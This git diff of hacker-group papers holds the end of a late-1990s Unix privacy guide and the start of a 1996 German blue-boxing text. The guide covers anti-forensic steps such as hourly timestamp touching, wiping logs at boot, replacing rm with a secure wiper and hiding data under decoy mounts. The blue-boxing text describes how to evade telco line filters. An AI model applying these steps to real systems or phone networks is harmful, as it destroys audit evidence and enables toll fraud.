      + - history files (what commands you typed in your session)
      + - your emails
      + - temporary files from applications like mailers, browsers etc.
      + - applications and their configuration
      + - your own data (documents, porn pics, confidental data)
      + - time stamps on your data (when were you accessing/editing which data)
      + - on multiuser systems: what users CURRENTLY are doing.. this includes + process listing, and network connections as well as utmp (which is + already covered by another category). -> make proc more restrictive.
      +
    +
    + + +We are trying to protect all this data. +
    +Note that utmp/wtmp/lastlog data and mail (mqueue/mail/fax/lpd) is handled +in the SYSTEM DATA section. +
    +Note that all user accounts can be seen from /etc/passwd ;-) So maybe you'd +like to add some/many fake accounts, together with homedirs and crypted +data ... +
    +
    +
    + + + +*** 2. Protecting /home directories +
    +
    + +Most important for protecting user data is protecting the users' /home +directories. +
    +Each home directory must be encrypted with a strong cypher so that even +with full physical access to the system the data can't be obtained. +Currently I know of only one software provididing a solution to our +requirements: CFS - the cryptographic filesystem. +
    +
    + +There are also some other crypto solutions available : TCFS, SFS and the +loop filesystem with crypt support. They are faster but have got the +disadvantage that you'll have to recompile your kernel with patches from +these tools. So for the sake of easeness, I stick with CFS here. +(Pointers to all tools mentioned in this text can be found at the end) + +
    +
    +To enable CFS we must put these six lines in a rc2.d script: +
            portmap
    +        rpc.mountd -P 894     # mountd should bind to port 894
    +        cfsd 895              # cfsd   should bind to port 895
    +        rm -rf /tmp/.tmp
    +        mkdir -p -m 700 /tmp/.tmp
    +        mount -o port=895,intr localhost:/tmp/.tmp /home
    +
    + +Additionaly we have to put this entry into /etc/exports: +
            /tmp/.tmp       localhost
    +
    + +
    +
    +Okay. This starts the sunrpc with the mountdaemon which are necessary +for CFS to be started and used. +
    +Now we need to get the following going: if a user logs on, the system +has to check if he's already logged in to decide whether to decrypt the users' +home directory. This sounds hard but is easy: the user's /home/user +directory doesn't exist (even if it would, because of mount command nine +lines above would make it nonexistent), so the user's HOME variable is +set to '/' the root directory. Then his login shell is started which +looks for it's start scripts. And that's were we put our hooks in. +
    +We create (this example is for bash) the file /.profile with the following +contents: +
            cattach /crypt/$USER $USER  ||  exit 0
    +        export HOME=/home/$USER
    +        cd $HOME
    +        if test -f $HOME/.profile; then
    +                . $HOME/.profile
    +        fi
    +
    + +
    +When a user logs on the first time, this script will be executed. The user +has to enter the password for his crypted homedir, and after this his +correct HOME variable is set and the normal login profile is read and done. +If a user doesn't know the passphrase for his crypted homedir, he is logged +out. +
    +
    +But how do we remove the decrypted homedir after the user logs out? This +script should be clever, because a user could be logged in several times at +once, and it should only be removed when the last loginshell exits. +
    +Thank god, this is easy too, we create a /home/user/.bash_logout script: +
            # if the number of user's login shells are > 3 then this is the last.
    +        shells=`ps xu | grep -- "$USER .* S .* -[^ ]*sh" | wc -l`
    +        test $shells -lt 3 || exit 0
    +        export HOME=/
    +        cd /
    +        cdetach $USER
    +
    + +
    +Thats all. From now on, the users' homedirectories are safe. + +
    +
    +Note that a user can't login now, start a background job which writes data +in his homedirectory and log out because his homedirectory would be removed. +The full .bash_logout script I provide in (see two lines below) checks for +a $HOME/.keep file and if present doesn't remove the homedir. +
    + +
    +For network logins you should keep in mind that they should not be done via +rlogin, telnet, etc. because they send all traffic (including passwords) in +plaintext over the network. You should use a tool which encrypts the whole +traffic like SSLtelnet or SSH (for SSH you need to set "UseLogin yes" in +the /etc/sshd_config file). + +
    +
    +You'll find all these scripts with error checking, user creating, stop +scripts and config files etc. in section IX. EXAMPLE CONFIGURATION +
    + +
    +Note that we started daemons in the section which can be contacted from +remote. If you don't want this (because there are no external users who +need to mount their crypted user data on their own machine) you should +firewall these ports. Look in you manpages ("man ipchains" or "man ipfwadm"). + +
    +
    +
    + +*** 3. Traceable user activity +
    +
    + +[Warning, this section shows first how to perform simple electronic forensics] +
    +It is easy to see who logged on the system and what he did by the +timestamps. Even if all your data is crypted, by checking the last access +time (atime) of your files, someone may check when you logged in last time, +for what duration and if you were idleing or doing much stuff. +
    +If the systems doesn't have many users, someone might even tell what you +did. +
    +
    +Example: The earliest access time for a crypted file in your homedir +can be seen by: +
    +        ls -altur /crypt/$USER | head -1 # shows the logout file
    +        ls -altu  /crypt/$USER | more    # with some brain you'll find
    +                                         # the login time
    +
    + +
    +then you also have the duration of the session. +
    +By checking the change/modification and access time of those crypted files +with their timestamps someone can see how hard you were working, and get +more conclusions (e.g. if many files nested in a three levels deep +directory where modified this is probably a browser - so you were surfing +the net). +
    +
    +This insight will now make it possible to check what commands were run: +
    +Let's say the login time as 22 hours ago, so you run: +
    +        find / -type f -atime 0 -ls # shows the accessed files
    +        find / -type f -mtime 0 -ls # shows the modified files
    +
    +
    +(this can be done with directories too) +
    +
    +Now check the output for the correct timeframe and analyze what you found. +e.g. the telnet client was accessed. So it's probable, the user used it +to connect to another system. I think you can imagine now what is possible. + +
    +
    +To protect against this is also very easy: +
    +Create the file /usr/local/bin/touch_them and make it executable with +the following contents: +
    +        find /crypt /tmp /etc /var/spool 2> /dev/null | xargs -n 250 touch
    +
    + +
    +Then put the following line into /etc/crontab: +
    +        50 * * * *      root   /usr/local/bin/touch_them
    +
    + +
    +finally you change the 4th row of all lines in /etc/fstab which have the +keyword "ext2" in their third (the filesystem type) row: +
             defaults          (or anything else)
    +
    +should become +
             defaults,noatime  (the old value is kept, and noatime is appended)
    +
    + +
    +example: +
             /dev/hda1   /    ext2   defaults  1  1
    +
    +becomes +
             /dev/hda1   /    ext2   defaults,noatime  1  1
    +
    + +
    +What did we achieve? The crontab entry with the small script updates the +atime, mtime and ctime to the current time every hour of special +directories - especially those which may hold user data. +
    +The mount options we changed now prevent the update of the atime. +However, this needs a current 2.2.x kernel - it isn't implemented on the +2.0 kernel tree! + + +
    +
    +
    + +*** 4. Protecting /var/spool/* files + +
    +
    +/var/spool/mail : +
    +Now it gets tricky. How can we protect the new mail for a user from +spying eyes? It can't be sent directly to a user's homedir like qmail would +do because it's crypted. The easiest solution is to use pgp to encrypt +your outgoing emails and tell all your friends that they should also encrypt +all emails to you. +
    +
    +However, this is not satisfying. An attacker can still see who sent the user +the email. The only possibility to hide this is using anonymous remailer. +This is not a great solution, so this is an open point (see section X.2: +Additional thoughts) +
    +
    + +/var/spool/{mqueue|fax|lpd} : +
    +Well, all you can do is try to flush the queues when shutting down. +
    +After that you have to decide if you delete the remaining files in a +secure way or leave it where it is. Or program a special script which does +something with the data (like taring the data and encrypting it with pgp, +doing the reverse when the system is rebooted) +
    +
    + +You can also create a whole crypted /var partition, but that would require +someone at the console while booting the system - every time. +
    +
    +
    +
    + + + + +* V. SYSTEM DATA +
    + +*** 1. Sensitive system data +
    +
    + +What is sensitive system data? *Anything* which gives conclusion on incoming +and outgoing data, configuration files, logs, reboots and shutdowns. +
    +
    + +This includes: +
      + - utmp/wtmp/lastlog data (boot, reboot, shutdown times + user times)
      + - ppp dialup script
      + - sendmail and tcp wrapper configurations
      + - proxy cache data (e.g. squid web/ftp proxy)
      + - syslog messages
      + - /var/spool/* data {mqueue|fax|lpd|mail}
      + - temporary files from daemons
      + - time stamps on data (when were what data accessed/edited)
      +
    +
    + +How to prevent time stamp forensica, see section IV.3 +
    +How to protect /var/spool/* data, see section IV.4 for an incomplete +solution. +
    +
    + + + +*** 2. Traceable system activity +
    +
    + +(prevent of time stamp forensic is handled in section IV.3) +To trace system activity, you can easily check temporary files +of daemons and applications. Some of them write to /tmp, root +applications usually (should) write to /var/run. +We handle this together with section V.3: Logging. +All you have to do is this, and only *once* : +
            cd /var
    +        mv run log
    +        ln -s log/run run
    +
    + +
    +this moves the /var/run directory to /var/log/run and sets a symlink in it's +former place so that applications still find their files. +
    +
    + + + +*** 3. Logging - important and dangerous +
    +
    + +Logging is important to trace problems like misconfigurations. +
    +Logging is dangerous because an attacker can see important data in +the logfiles, like the user's login and logout time, if they executed +"su" or other commands etc. +
    +We try to find a balance between this. +
    +Our solution: Write all log data to one special directory. +
    +This directory is a RAM disk so the data is lost after a system shutdown. +Ensure that syslogd [/etc/syslog.conf] and daemons (e.g. httpd [apache]) +only write to our special logging directory or a system console. +/var/log should be used as our special logging directory. +
    +
    + +
    +Now we put the following commands into /sbin/init.d/boot.local: +
            umask 027
    +        mke2fs -m0 /dev/ram0 1> /dev/null 2>&1
    +        rm -rf /var/log/* 2> /dev/null
    +        mount -t ext2 /dev/ram0 /var/log
    +        chmod 751 /var/log
    +        cd /var/log
    +        mkdir -m 775 run
    +        chgrp uucp run
    +        for i in `grep /var/log /etc/syslog.conf|grep -v '^#'| \
    +         awk '{print $2}'|sed 's/^-//'`
    +	    do > $i ; done
    +        umask 007		# 002 might be used too.
    +        for i in run/utmp wtmp lastlog
    +            do > $i ; chgrp tty $i ; done
    +        cd /
    +        kill -HUP `pidof syslogd` 2> /dev/null
    +
    + +After your next reboot it behaves like described above. + +
    +
    +Some of you will not like the idea of having no logs after a reboot. +This way you can't trace an intruder or guess from your logs what +crashed the machine. Either you can tar the files and pgp before +the shutdown is complete (but the data would be lost if a crash occurs), +or you might also use ssyslog or syslog-ng, special syslogs with crypting +capabilities, and write the data you really want to keep to (just an example) +/var/slog. + +
    +
    +You can also create a whole crypted /var partition, but that would require +someone at the console while booting the system - every time. +
    +
    +
    + + + + +*** 4. Protecting system configs +
    +
    +This is tricky. It is easy to achieve but for a price. +If we create an account with uid which has his homedir in /home +and is hence protected by our CFS configuration, you need to +be at the console at every reboot. This isn't practical for server systems +that need to be administrated and rebooted remotely. +This solution is only good for end-user pcs. +
    +
    + +Just create an account with the uid 0 (e.g. with the login name "admin"). +You can use the create_user script from section IX. +
    +Put all your sensitive configuration files you want to protect into this +directory (ppp dialup scripts, sendmail.cf configs, squid configs +with their cache directory set to a subdir of "admin" etc.) +
    +Now create a small shellscript which starts these daemons with a command +line option to use the config files in your "admin" homedir. +
    +
    + +Your system is then secure from extracting the sensitive information +from the config files. But for a price. You have to log in after each +reboot as user "admin", enter your CFS passphrase and start the script. +
    +
    +
    + + + +*** 5. Computer Memory and sensitive /proc interfaces +
    +
    + +For a real multiuser system on which the administrator want additionally +ensure the privacy of the user online, he has to hide the user process +information, a user would normally see when issuing a "who" or "ps" +command. To protect the user's process information, you can use +Solar Designer's secure-linux kernel patch. To protect the utmp/wtmp/lastlog +we ensure that these files are only readable by root and group tty, +hence a normal user can't access this data. (This is done in the boot.local +example script) +
    +Now one problem is left. Even with normal RAM a well funded organisation +can get the contents after the system is powered off. With the modern +SDRAM it's even worse, where the data stays on the RAM permanently until +new data is written. For this, I introduced a small tool for the +secure_delete package 2.1, called "smem" which tries to clean the memory. +This one should be called on shutdown. It is done in the example +in section VI.4 +
    +
    +
    +
    + + + + +* VI. DELETE(D) DATA AND SWAP +
    + +*** 1. How to delete files in a secure way< +
    +
    + +When a file is deleted, only the inode data is freed, the contents of +the data is NOT wiped and can be gathered with tools like "dd" or the +tool manpipulate_data from THC. +
    +
    + +Peter Gutmann wrote a paper with the name "Secure Deletion of Data from +Magnetic and Solid-State Memory" presented 1996 at the 6th Usenix Security +Symposium. This is the best civilian paper on how to wipe data in a way that +it is hard for even electronic microscopes to regain the data. +
    +There are four tools out there which uses the techniques described there, +two called "wipe", one called "srm" from THC's secure_delete package and +"shred" which is part of the new fileutil package from GNU. +
    +Ours is still the best from it's design, features and security, and it +has also all important and advanced commandline options and speed you need. +
    +
    + +To use one of these tools for deletion just set an alias in /etc/profile: +
            alias rm=srm      # or wipe or shred
    +
    + +or even better, move /bin/rm to /bin/rm.orig and copy the secure delete +program to /bin/rm. This ensures, that all data which is deleted via +rm is securely wiped. +
    +
    + +If you can't install THC's secure_delete package or any other (for any +reason) you can also set the wipe flag from the ext2 filesystem on files +you wish to wipe before rm'ing them. It's nearly the same, but it's NOT +a secure wipe like mentioned above. It's set by: +
            chattr +s filename(s)
    +
    + +
    +
    +[Note that it is *still* possible for a well funded organisation to get your +data. Don't rely on this! See section VI.4 !] +
    +
    +
    + + + +*** 2. How to wipe free disk space +
    +
    + +Most times applications like the editor in your mail program write a +temporary file. And you don't know about it - you weren't even asked :( +Because they don't wipe the data in a secure way, an attacker can +get all your private emails just because you didn't know. That's bad. +
    +The solution: You use a wiper program which cleans all unused data +from the disk partitions. +
    +The only one available is the one from THC's secure_delete package. +You could put "sfill" (that is what it is called) in you crontab so it is +run regulary but this might create problems when at this moment this space +is needed by an important application. At least when the system shuts down, +sfill should be called. +
    +Put this in the "stop" part of a late rc2.d script: +
            sfill -llf /tmp 2> /dev/null
    +        sfill -llf /var/spool 2> /dev/null
    +
    + +
    +
    +Note that it is a good idea to generate a new paritition for /tmp itself, +and putting a symlink from /usr/tmp and /var/tmp to /tmp. This way it is +easier to control and wipe. + +
    +
    +Again, if you can't install the secure_delete package for any reason, +you can also use this solution (slower and not as secure): +
            dd if=/dev/zero of=/tmp/cleanup
    +        sync
    +        rm /tmp/cleanup
    +
    + + +
    +
    +
    + +*** 3. How to handle swap data +
    +
    + +Securely wiping files and free diskspace - well what's left? +Today, harddisk MB's are cheaper than RAM, thats why swap space is used to +expand the available RAM. This is in reality a file or partition on your +harddisk. And can have your sensitive data in it. +
    +
    + +Again there is only one tool which helps you out here, "sswap" from THC's +secure_delete package ;-) +
    +Put this line after the "swapoff" line in /sbin/init.d/halt: +
            sswap -l /dev/XXXX     # the device for your swap, check /etc/fstab
    +
    + +
    +
    +
    + + +*** 4. How to handle RAM +
    +
    + +In section V.5 I wrote about sensitive information in your RAM, the fast +memory of your computer system. It can hold very sensitive information +like the email you wrote before pgp'ing it, passwords, anything. +
    +To ensure, that the memory is cleaned, use the smem utility. +
    +It should be called like this in the stop part of a late rc2.d script (as +already mentioned above), after the wiping the file of /tmp etc. and +then wiping the free memory: +
            smem -ll
    +
    + + +
    +
    +
    + + +*** 5. Temporary data - it is evil +
    +
    + +After you have secured/anonymized/privatized your system so far everything's +ready - or did you forget something? +
    +Remember what we told you in section VI.1, that temporary data is written +somewhere and sometimes you don't know. If you are unlucky, all we've done +here was useless. We have to ensure that there's no temporary data +left on the devices and that it can't be recovered either. +
    +We already dealed with /var/log, /var/run and sent email (/var/spool/...), +and we wipe all free diskspace from our temporary disk locations. +Now we must wipe also the temporary data. +
    +Put this line in the stop part of a late rc2.d script (before sfill +from VI.3): +
            ( cd /tmp ; ls -A | xargs -n 250 srm -r ; )
    +
    + +Also a $USER/tmp directory should be created for all users under the CFS +/home protection and a TMPDIR variable set to this directory. + +
    +
    +See section IX. for all these scripts ... + +
    +
    +
    +
    + + + +* VII. NETWORK CONNECTIONS +
    +
    + +This is a very specialized area of this document. I write here a few ways +how someone can protect some of their data being transfered on the internet. +
    +
    + +The basic prerequisites are as following: +You've got an external POP3 and SMTP (mail relayer) where you get and send +your email. When your go on irc, you also don't like your real hostname +being printed on the channels. +
    +
    + +Your external mail server should be in another country, because if maybe +some official agencies think you're doing something illegal (and I'm sure +you won't) it's harder to get a search warrant. It's also harder because +companies or individuals that try to get your data would need to invest more +time, work and money to get it. +
    +
    + +You can tunnel your SMTP and POP3 via ssh to the external mail server. +
    +For POP3 this is easy, but for SMTP this is a bit harder. +
    +Just as an example, irc traffic can be tunneled through this as well, +but dcc stuff won't work (one way doesn't work, the other would reveal +your ip address to the sender and the data is not encrypted on any part +of the internet) +
    +Note that you can also use redirectors and proxies to accomplish further +redirecting for other protocols (www, irc, ftp proxies etc.) +
    +
    + +Thats all. All mail traffic (and as you can see below, irc traffic too) is +being crypted between you and your mail/proxy server. +
    +
    + +sendmail.cf (important parts): +
            DSsmtp:[127.0.0.1]
    +        DjTHE_DOMAIN_NAME_OF_YOUR_EMAIL
    +        DMTHE_DOMAIN_NAME_OF_YOUR_EMAIL
    +- Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,
    ++ Msmtp,          P=[IPC], F=mDFMuXk, S=11/31, R=21, E=\r\n, L=990,
    +
    +(add the "k" switch to the smtp option config line) +
    +
    + + +~user/.fetchmailrc: +
            poll localhost protocol POP3:
    +            user USER_REMOTE with pass PASSWORD_REMOTE is USER_LOCAL here
    +            mda "/usr/sbin/sendmail -oem USER_LOCAL"
    +
    +(enter the corresponding USER_* and PASSWORD in here) +
    +
    + +The ssh commandline which tunnels the traffic for POP3, SMTP and irc: +
            ssh -a -f -x -L 110:localhost:110 -L 6667:irc.server.com:6667 -L \
    +            25:localhost:25 your_mail_server.com
    +
    +
    +
    + +That's all. I won't tell you more. Use your brain ;-) +
    +
    +
    +
    + + + + +* VIII. HIDING PRIVACY SETTINGS + +*** 1. Mount is your friend +
    +
    + +Take a look at the following commands: +
    # ls -l /home
    +total 3
    +drwxr-x---   1 root     root         1024 Mar 28 14:53 admin
    +drwxr-x---   1 vh       thc          1024 Mar 28 16:22 vh
    +drwxr-x---   1 user     users        1024 Mar 28 11:22 user
    +# mount -t ext2 /dev/hda11 /home      # or a ramdisk, doesn't matter
    +# ls -l /home
    +total 0
    +# : whoops, where are the homedirs ?
    +# umount /home
    +# ls -al /home
    +total 3
    +drwxr-x---   1 root     root         1024 Mar 28 14:53 admin
    +drwxr-x---   1 vh       thc          1024 Mar 28 16:22 vh
    +drwxr-x---   1 user     users        1024 Mar 28 11:22 user
    +# : ah, yeah there they are again ...
    +
    + +This is a nice feature to hide your crypted data and binaries. +Just put your files into e.g. /usr/local/bin and /usr/local/crypt +and mount a decoy filesystem over /usr/local. If you then have got +a process started in your boot scripts which opens a file on the decoy +filesystem, the filesystem can't be unmounted until the process is killed. +This way, it's much harder for someone to detect your data! +
    +
    +
    + + + +*** 2. Removable Medias +
    +
    + +An even better possibility is: put all your sensitive data on a removable +media. Put your media in, mount it, it run the startscript from it +to activate all the privacy stuff. This way you made it one step harder +for someone to get to know whats going on. +
    +
    + + + +*** 3. ??? +
    +
    + +Any other ideas? Think about it! (and maybe send me your ideas ;-) +
    +
    +
    +
    + + + + +* IX. EXAMPLE CONFIGURATION AND SCRIPTS +
    +
    +Click here to download the +anonymous-unix-0.9.tar.gz tools! +
    +
    +
    +
    + + + + +* X. FINAL COMMENTS +
    + +*** 1. Where to get the tools mentioned in this text +
    +
    + +- Crypto Filesystems + + +- Tools + + +- The example Linux Distribution + +
    + + +*** 2. Additional thoughts +
    +
    + +The following problems are still present: +
      + - If an attacker can gain access to the system without rebooting + and in time before data is wiped, unmounted, etc. these countermeasures + are worthless.
    +
      + - If a really well funded organisation is trying to decrypt your + data via brute force/dictionary or good electronic microscopes + and technical staff with excellent knowhow, your wiping won't + help you very much.
    +
      + - The solution for /var/spool/mail and /var/spool/mqueue etc. is far + away from being perfect. Remember this. Ideas welcome.
    +
      + - The configuration of your system daemons can only be secured if + you are present at the console after a reboot. That's the price.
    +
      + - It is not very hard to detect the privacy stuff done. This might + bring you in trouble in countries like China or Iran. Removable + medias might help, or try a crypto filesystem with stegano support.
    +
    + +Secure your system against unauthorized (from your point of view) access +and use strong passwords. +
    +
    +
    + + + +*** 3. Greetings (what would the world be without greets?) +
    +
    + +What would the world be without love and greetings? ;-) +
    +
    + +Greets to individuals (in alphabetic order): +
      + Doc Holiday, Froody, Fyodor, plasmoid, pragmatic, rookie, + Solar Designer, Tick, Wilkins.
    +
    + +Greets to groups: +
      ADM, THC (of course ;-) and arF
    +
    + +Greets to channel members: +
      #bluebox, #hack, #hax, #!adm and #ccc
    + +
    +
    + + +*** 4. How to contact me for updates or comments +
    +
    + +Please send me any further ideas you've got to make this documentation +better! Did I wrote bad bad english in some part? Could I rephrase parts +to make it easier to understand? What is wrong? What's missing? van Hauser / THC - [The Hacker's Choice] +
    +
    + + +THC's Webpage -> http://www.thc.org +
    +(or http://thc.pimmel.com or http://www.thc.org) +
    + +
    +
    +Type Bits/KeyID    Date       User ID
    +pub  2048/CDD6A571 1998/04/27 van Hauser / THC <vh@reptile.rug.ac.be>
    +
    +-----BEGIN PGP PUBLIC KEY BLOCK-----
    +Version: 2.6.3i
    +
    +mQENAzVE0A4AAAEIAOzKPhKBDFDyeTvMKQ1xx6781tEdIYgrkrsUEL6VoJ8H8CIU
    +SeXDuCVu3JlMKITD6nPMFJ/DT0iKHgnHUZGdCQEk/b1YHUYOcig1DPGsg3WeTX7L
    +XL1M4DwqDvPz5QUQ+U+VHuNOUzgxfcjhHsjJj2qorVZ/T5x4k3U960CMJ11eOVNC
    +meD/+c6a2FfLZJG0sJ/kIZ9HUkY/dvXDInOJaalQc1mYjkvfcPsSzas4ddiXiDyc
    +QcKX+HAXIdmT7bjq5+JS6yspnBvIZC55tB7ci2axTjwpkdzJBZIkCoBlWsDXNwyq
    +s70Lo3H9dcaNt4ubz5OMVIvJHFMCEtIGS83WpXEABRG0J3ZhbiBIYXVzZXIgLyBU
    +SEMgPHZoQHJlcHRpbGUucnVnLmFjLmJlPokAlQMFEDVE0D7Kb9wCOxiMfQEBvpAD
    +/3UCDgJs1CNg/zpLhRuUBlYsZ1kimb9cbB/ufL1I4lYM5WMyw+YfGN0p02oY4pVn
    +CQN6ca5OsqeXHWfn7LxBT3lXEPCckd+vb9LPPCzuDPS/zYnOkUXgUQdPo69B04dl
    +C9C1YXcZjplYso2q3NYnuc0lu7WVD0qT52snNUDkd19ciQEVAwUQNUTQDhLSBkvN
    +1qVxAQGRTwgA05OmurXHVByFcvDaBRMhX6pKbTiVKh8HdJa8IdvuqHOcYFZ2L+xZ
    +PAQy2WCqeakvss9Xn9I28/PQZ+6TmqWUmG0qgxe5MwkaXWxszKwRsQ8hH+bcppsZ
    +2/Q3BxSfPege4PPwFWsajnymsnmhdVvvrt69grzJDm+iMK0WR33+RvtgjUj+i22X
    +lpt5hLHufDatQzukMu4R84M1tbGnUCNF0wICrU4U503yCA4DT/1eMoDXI0BQXmM/
    +Ygk9bO2Icy+lw1WPodrWmg4TJhdIgxuYlNLIu6TyqDYxjA/c525cBbdqwoE+YvUI
    +o7CN/bJN0bKg1Y/BMTHEK3mpRLLWxVMRYw==
    +=MdzX
    +-----END PGP PUBLIC KEY BLOCK-----
    +
    + + diff --git a/Papers/bb-ger.txt b/Papers/bb-ger.txt new file mode 100644 index 0000000..663172c --- /dev/null +++ b/Papers/bb-ger.txt @@ -0,0 +1,352 @@ + January 1996 + + BB in Germany + written by Dr. Fraud + + +Hi Phreaks ! + +In this article, I wanna write a little bit about BB in Germany. This phile +is NOT a `how 2 do it' essay.... It`s 4 phreaks to show what has done and +what is still possible. I also won`t describe any signalling systems like +C5/R2/C7, cause everyone who reads this phile should know how they work. I +have put the TXT into several groups like the following: + + - Overview: breakable countries + - Why are other countrys not breakable ? + - The story `bout C4 + - You don`t get a busy flash....ahahaha! + - How the TELECOM filters work + - About Hardware + - Problems with Transit/Routings + - How 2 get Routing Codes + + + + 1.) Overview: the breakable countries + + At the 1st point, I wanna give you a short list of the easy breakable + countrys. As u can see, there are many ones u can break, but most of them + are not very interesting (seen in the aspect of getting out of those + fucking desert-countries....). The only exception are the C5/R2 countries. + but at the moment, there are only very few people who can phreak them... + congratulations ! + Okay, here are the breakable ones (alphabetical order) + + > Argentinia (+54) + > Brasilia (+55) + > Chile (+56) + > China (+86) + > Columbia (+57) + > Emmirates of Arabia (+971) + > Guatemala (+502) + > Hawaii (+1-808) + > Indonesia (+62) [not available from everywhere] + > Iceland (+354) + > Japan (+81) !! hard 2 seize !! + > Jordania (+962) !! still offline !! + > Macau (+853) + > Malaysia (+60) [not any more !] + > Nicaragua (+505) + > Paraguay (+595) + > Phillipines (+63) + > Singapore (+65) + > South Africa (+27) + > Uruguay (+589) + > Venezuela (+58) + + At 1st, I wanted to add the frequs for each country....no, not exactly, but + at least a description like: Cl.Fwd/EOf/Seize. But I decided that its not + very useful because you should be able to find them out by yourself. Besi- + des, all these ones are C5 and quite simple 2 break (more or less.... arghh + I hate the Phillipines !!!!!!). U can reach them via HCD (standard) with + the exception of HawaII. + NOTE: These are not all the existing countrys you can reach by a toll free + number... but these ones are the easiest to call. If you wan`t to + call other countries by direct (=local) breaking, start scanning ! + + * Concerning the Thailand HCD (+66), I`m not sure what is is, but I think it + should be C7. If not and if you can break it, please contact me ! + + * At MCI and AT&T, I already had sume argues with other phreaks, but I know + that at least AT&T _IS_ breakable ! [note: or WAS breakable until 12/95] + +The problem with R2 is that it`s mostly PCM (in Germany). This means that +there`s used a multiplex system to mix information and signalling signals. +So you use 1 channel each, but it seems as if you are just on one channel. +At the moment, I still don`t cope with those systems... Sumetimes, I get a +Hgup, but I don`t know whether it`s caused from my BB or from that fuCkiNg +switch. +Another problem is: theres no absolute standard on R2. It depends on the area +you live in and the country u wanna break 2 get a success. Just start scan- +ning... Some hints: Of course, u should only scan the effective signalling +band....it would be quite senseless to scan from 500 up to 1500 Hz. And al- +ways remember: R2 is not an international system. It`s always combined with +at least one signalling frequency of another system (like C5) ! + + + + + + + + +2.) Why are other countries not breakable ? + + aaaahahahhah!!! stupid question. Cause they changed to C7. + + Anyway, there is a possible exception: The "Fiiieep" linez. If you are not + from Germany, you can`t imagine what this means to the phreaker: You know, + some switches (e.g. the Siemens-Alcatel) require an exact timing. The Cl. + Fwd. must be sent on exact the time when you can hear the 2nd "click" (or + some milliseconds after). There is one problem now: The Telco has changed + that click to a noisy "fiiieek" now on some nuMbAs. That noise is inter- + modulating the break you send. The result is: No result. + The only thing you can do: (except when you live in area 03....ggrrr...I + hate everyone in there...) increase the volume of your break to a maximum + and try to find a guard tone that fixes that interference...this should be + not too easy.... after some minutes of experimenting, you may be able to + achieve a HgUp, but seizing will be quite complicated ! + + + + + + + + +3.) Phunny story bout C4 + +Just a few words 2 the phreaks who wanna start scanning C4 lines, +inspired by the Scavenger dialer: Yes, u can call via C4 lines, if u +a) break an oversea line (e.g. Germany => Paraguay...aaeh..no...Paraguay uses + R2 at the country itself...) +b) call a C4 based numba in that country, break it and have phun... +But there are 2 major problems: +a) linez are shit +b) there are nearly (I said nearly, in fact, I don`t know _ANY_) no C4 linez + left... perhaps, u will find someones in South America or Africa. + +So, forget the C4 shit and concentrate to the future... and future is defini- +tively NOT C4 ! + + + + + + + +3.) U don`t get a Busy Flash.... ahahhahahahaha!! + +If you are unable to recieve a Busy Flash, then you`ve got a problem: the +TELEKOM filters. These phunny devices are sitting in the toll-free oversea +trunk groups just for one purpose: Killing the Clear Forward and the Seize +signal to avoid line manipulation. In my area, there were 2 different kinds +of filters: +The first ones were just inverters, which lowered or highered the specific +signals sent in the line. This means, that a 2400/2600 tone will be recogni- +zed from the switch as, e.g., a 2350/2650 signal... This means that you can +easily pass those filters when sending e.g. a 2450/2550 tone. This is, of +course, not a very effective protection ! +At the next step, a more complicated system was installed: a Schmitt-Trigger +system, combined with a selective switch. I will explain later how it works +exactly. +At this time, just remember: It`s IMPOSSIBLE 2 install any protection that +will avoid inband line manipulation 100% . There`s always a way to pass it ! + + + + + + + +4.) How the telecom filters work: + +The function of those devices is quite simple: the filters are put in the +line subscriber ----> german switch. This (should) avoid a line manipulation +from the side of the subscriber`s line. +The filter consists of a simple notch filter that blocks the 2400 signal if +the installed frequency counter counts the critical frequs. +The bandwidth is all over the tolerance of the frequency used for inter- +national trunks. This is achived by a strong damping of the circuit. Just +find an international exchange and let it give you a nice echo. Then, start +scanning and draw a function of the filtered tones. U should draw that func- +tion in dependence of the frequency and the volume. +The tricky thing is the following: the filters are "normally" not enabled. +They are only activated when recieving a signal that is in tolerance of their +setting. The control of "enabled"-"not enabled" is taken by a simple Schmitt- +Trigger circuit. Just watch sume electronic-book for further information. +To activate the Trigger, a tone of a certain frequency _and_ a certain length +must be recieved (Trigger-Level). +So: when u add a third tone to your Cl.Fwd., there is obtained an inter- +modulation: the volume increases and decreases in the same frequency as the +guard tone. So, u just need to find the correct guard tone(s), and u will be +able to pass the filter. +Sometimes, its a little bit more tricky: If this method doesnt work, just use +some fuzzy tones (mix the tones with colored noise). This changes the wave- +form from sinus to something un-definable. That sort of signal is much harder +to trigger (if you`ve got an oscillograph, u can see it quite good). So, the +chances of "confusing" the trigger are much better.... +Finally, there`s a third method: Just create a trunk that you play _before_ +the "real" trunk....the more tones, the better ! I use the nice TLO444 and +wrote a tiny script that will do this job quite good...it has `bout 20 tones, +played with 3 or 4 frequencys each. If you set the right frequs (TIP: use the +frequs near the signalling area, add a DHLS sumetimes, play a 2000 Hz and so +on). If you have done it right, that filter will be "confused" (you can com- +pare it with drinking 10 beers and going to bed immediately) and it can get +passed much easier. + + + + + + + +5.) About Hardware + +It`s always useful to have some hardware that can support you while whistling +around....the good old walkman-headphones are fine for checking out a line +you can break not yet, but it`s not possible to get a 100% great result. Just +call your favourite HPA board and leech the schematic of a standard BlueBox. +I use a more comfortable method. This has two reasons: +1.) When using a transformator that is connected to the phone line directly, + your ears will be bloody after a hole night of scanning +2.) Connecting the soundcard in another way will offer you much more comfort. + +If you`ve got some idea about electronics, connect the output of your computer +to the microphone in the telefone. The ECM-Micros work best. Normally, it`s +necessary to limit the signal with a resistor of about 50K. And if you want to +record the line, connect the mic. input to the speaker of your phone. Depen- +ding on your circuit, it may be useful to add a small capacitator (.1uF). This +offers a much better quality and the tones sent out of the speaker while brea- +king are much more calm. This allows you to listen better to any reaction of +the line. And if you`ve already done that piece of work, then you can make a +device that allows you to hang up the line and release it again automatically. +I built a switch that is controlled by the tones sent out of my dialer. I just +reserved a frequency (ca. 3900 Hz) and adjusted that phunny device to exactly +that value. So, if I send a 3900 Hz tone, my line hangs up automatically and +releases again after a free-definable time. If you are interested in that +device, just contact me ! +Also phunny is a circuit that can decode the special-info sequence (you know, +that tuuu-tuuuu-tuuuuu you recieve when calling a not-existing number). I +don`t know whether this is also possible by a powerful realtime-software; but +when connecting that circuit to the parallel port, you may increase the rate +of success while scanning to the maximum. When using that device, you needn`t +sitting in front of your screen anymore... you just wait for a "success-beep" +from the computer when getting a number that does not result in the special- +info-tone. The only condition for this is a well-programmed software. + +Another phunny toy is an oscilloscope, because: +- You look so cool when sitting in front of it, 